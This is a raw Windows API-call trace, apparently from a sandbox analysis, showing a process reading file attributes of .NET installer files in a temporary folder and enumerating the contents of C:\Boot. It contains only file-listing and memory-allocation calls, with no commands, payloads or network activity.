	[0076.194] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520)) returned 1
	[0076.194] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.194] VirtualAlloc (lpAddress=0xc0003fa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003fa000
	[0076.194] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce)) returned 1
	[0076.195] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.195] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9)) returned 1
	[0076.195] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.195] VirtualAlloc (lpAddress=0xc0003fc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003fc000
	[0076.195] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c)) returned 1
	[0076.196] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.196] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.196] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b)) returned 1
	[0076.425] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.425] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200)) returned 1
	[0076.464] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.464] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000)) returned 1
	[0076.587] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.625] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7)) returned 1
	[0076.625] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.625] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000)) returned 1
	[0076.687] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.687] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000)) returned 1
	[0076.688] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.688] VirtualAlloc (lpAddress=0xc000486000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000486000
	[0076.688] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420)) returned 1
	[0076.688] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.689] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688)) returned 1
	[0076.689] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.689] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0076.689] SetEvent (hEvent=0xe4) returned 1
	[0076.689] GetFileAttributesExW (in: lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1)) returned 1
	[0076.751] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0076.751] GetFileAttributesExW (in: lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0076.751] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0076.751] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0076.751] SetEvent (hEvent=0xe4) returned 1
	[0076.751] GetFileAttributesExW (in: lpFileName="C:\\Boot" (normalized: "c:\\boot"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0076.751] CreateFileW (lpFileName="C:\\Boot" (normalized: "c:\\boot"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0076.752] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0xc0000318a8 | out: lpFindFileData=0xc0000318a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0076.753] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0076.845] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1
